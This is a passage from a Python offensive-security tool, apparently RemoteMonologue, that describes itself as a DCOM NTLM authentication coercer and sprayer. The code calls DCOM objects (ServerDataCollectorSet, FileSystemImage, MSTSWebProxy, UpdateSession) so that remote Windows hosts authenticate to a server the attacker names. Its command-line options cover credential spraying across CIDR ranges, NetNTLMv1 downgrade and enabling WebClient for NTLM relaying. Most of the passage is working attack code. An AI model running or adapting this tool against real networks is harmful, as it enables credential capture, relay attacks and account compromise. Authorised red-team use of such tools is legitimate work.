"UpdateSession"): dispParams['rgvarg'].append(arg1) dispParams['rgvarg'].append(arg0) elif (self.__dcom == "ServerDataCollectorSet" or self.__dcom == None): dispParams['rgvarg'].append(arg0) dispParams['rgvarg'].append(arg1) self._executeUNCpath[0].Invoke(self._executeUNCpath[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) elif (self.__dcom == "MSTSWebProxy"): dispParams = DISPPARAMS(None, False) dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 2 dispParams['cNamedArgs'] = 0 arg0 = VARIANT(None, False) arg0['clSize'] = 5 arg0['vt'] = VARENUM.VT_BSTR arg0['_varUnion']['tag'] = VARENUM.VT_BSTR arg0['_varUnion']['bstrVal']['asData'] = "C:\\windows\\syswow64\\mstsc.exe" arg1 = VARIANT(None, False) arg1['clSize'] = 5 arg1['vt'] = VARENUM.VT_BSTR arg1['_varUnion']['tag'] = VARENUM.VT_BSTR arg1['_varUnion']['bstrVal']['asData'] = "/edit " + UNCpath dispParams['rgvarg'].append(arg1) dispParams['rgvarg'].append(arg0) self._executeUNCpath[0].Invoke(self._executeUNCpath[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) elif(self.__dcom == "FileSystemImage"): # Convert -3 to unsigned 32-bit DISPID_PROPERTYPUT = 0xFFFFFFFD dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = [] dispParams['rgdispidNamedArgs'] = [DISPID_PROPERTYPUT] dispParams['cArgs'] = 1 dispParams['cNamedArgs'] = 1 arg0 = VARIANT(None, False) arg0['clSize'] = 12 arg0['vt'] = VARENUM.VT_BSTR arg0['_varUnion']['tag'] = VARENUM.VT_BSTR arg0['_varUnion']['bstrVal']['asData'] = UNCpath dispParams['rgvarg'].append(arg0) self._executeUNCpath[0].Invoke(self._executeUNCpath[1], 0x000, DISPATCH_PROPERTYPUT, dispParams, 0, [], []) class AuthFileSyntaxError(Exception): '''raised by load_smbclient_auth_file if it encounters a syntax error while loading the smbclient-style authentication file.''' def __init__(self, path, lineno, reason): self.path=path self.lineno=lineno self.reason=reason def __str__(self): return 'Syntax error in auth file %s line %d: %s' % ( self.path, self.lineno, self.reason ) def load_smbclient_auth_file(path): '''Load credentials from an smbclient-style authentication file (used by smbclient, mount.cifs and others). returns (domain, username, password) or raises AuthFileSyntaxError or any I/O exceptions.''' lineno=0 domain=None username=None password=None for line in open(path): lineno+=1 line = line.strip() if line.startswith('#') or line=='': continue parts = line.split('=',1) if len(parts) != 2: raise AuthFileSyntaxError(path, lineno, 'No "=" present in line') (k,v) = (parts[0].strip(), parts[1].strip()) if k=='username': username=v elif k=='password': password=v elif k=='domain': domain=v else: raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k)) return (domain, username, password) def parseServers(server): if '/' not in server: return [server] (ip, cidr) = server.split('/') cidr = int(cidr) host_bits = 32 - cidr i = struct.unpack('>I', socket.inet_aton(ip))[0] start = (i >> host_bits) << host_bits end = i | ((1 << host_bits) - 1) ret = [] for i in range(start, end): ret.append(socket.inet_ntoa(struct.pack('>I', i))) return ret # Process command-line arguments. if __name__ == '__main__': print(text_green + """ __ ___ __ ___ ___ __ __ __ __ ___ |__) |__ |\/| / \ | |__ |\/| / \ |\ | / \ | / \ / _` | | |__ | \ |___ | | \__/ | |___ | | \__/ | \| \__/ |___ \__/ \__> \__/ |___ v1.1 - @AndrewOliveau """ + text_end) parser = argparse.ArgumentParser(add_help = True, description = "DCOM NTLM authentication coercer and sprayer") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-dcom', action='store', metavar = "", help='DCOM object - ServerDataCollectorSet (default), FileSystemImage, MSTSWebProxy, UpdateSession (SYSTEM)') parser.add_argument('-auth-to', action='store', metavar = "ip address", help='Server for Interactive User to authenticate to over SMB') parser.add_argument('-spray', action='store_true', default = False, help='Spray credentials against provided list of systems. Filename must be provided in domain/user@FILE') parser.add_argument('-query', action='store_true', default = False, help='Query users logged on the target system') parser.add_argument('-downgrade', action='store_true', default = False, help='Run attack with NetNTLMv1 downgrade') parser.add_argument('-webclient', action='store_true', default = False, help='Enable the WebClient service to receive HTTP authentications for NTLM relaying') parser.add_argument('-output', action='store', metavar = "filename", help='Output results to file') parser.add_argument('-timeout', action='store', default=5, help='socket timeout out when connecting to the target (default 5 sec)') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. " "See smbclient man page's -A option.") group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path #logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) if options.dcom not in ["ServerDataCollectorSet", "FileSystemImage", "UpdateSession", "MSTSWebProxy", None]: logging.error("Incorrect -dcom option. Choose: ServerDataCollectorSet (default), FileSystemImage, MSTSWebProxy, UpdateSession (SYSTEM)") sys.exit(0) if options.downgrade and options.webclient: logging.error("You can't use -downgrade and -webclient at the same time. Choose one.") sys.exit(0) if (options.auth_to == None and options.query == False): logging.error("Must specify the server for the target to authenticate to (-auth-to)") sys.exit(0) if options.spray == False: domain, username, password, address = parse_target(options.target) else: domain, username, password, addresses = parse_target(options.target) try: if options.A is not None: (domain, username, password) = load_smbclient_auth_file(options.A) logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password))) if domain is None: domain = '' if options.keytab is not None: Keytab.loadKeysFromKeytab(options.keytab, username, domain, options) options.k = True if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True if options.spray: user_resp = str(input("\n[?] You're about to spray credentials. PLEASE BE CAREFUL NOT TO LOCKOUT ACCOUNTS! Continue? (y/N): ")) if user_resp == "y": targets = [] if os.path.isfile(addresses): with open(addresses) as serverfile: for line in serverfile: if line.strip(): targets.extend(parseServers(line.strip())) for x in range(len(targets)): address = targets[x] executer = RemoteMonologue(username, password, domain, address, options.hashes, options.aesKey, options.k, options.dc_ip,options.auth_to, options.output, options.dcom, options.downgrade, options.webclient, options.timeout) executer.run() else: executer = RemoteMonologue(username, password, domain, address, options.hashes, options.aesKey, options.k, options.dc_ip,options.auth_to, options.output, options.dcom, options.downgrade, options.webclient) if options.query: executer.run_query() else: executer.run() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) sys.exit(0)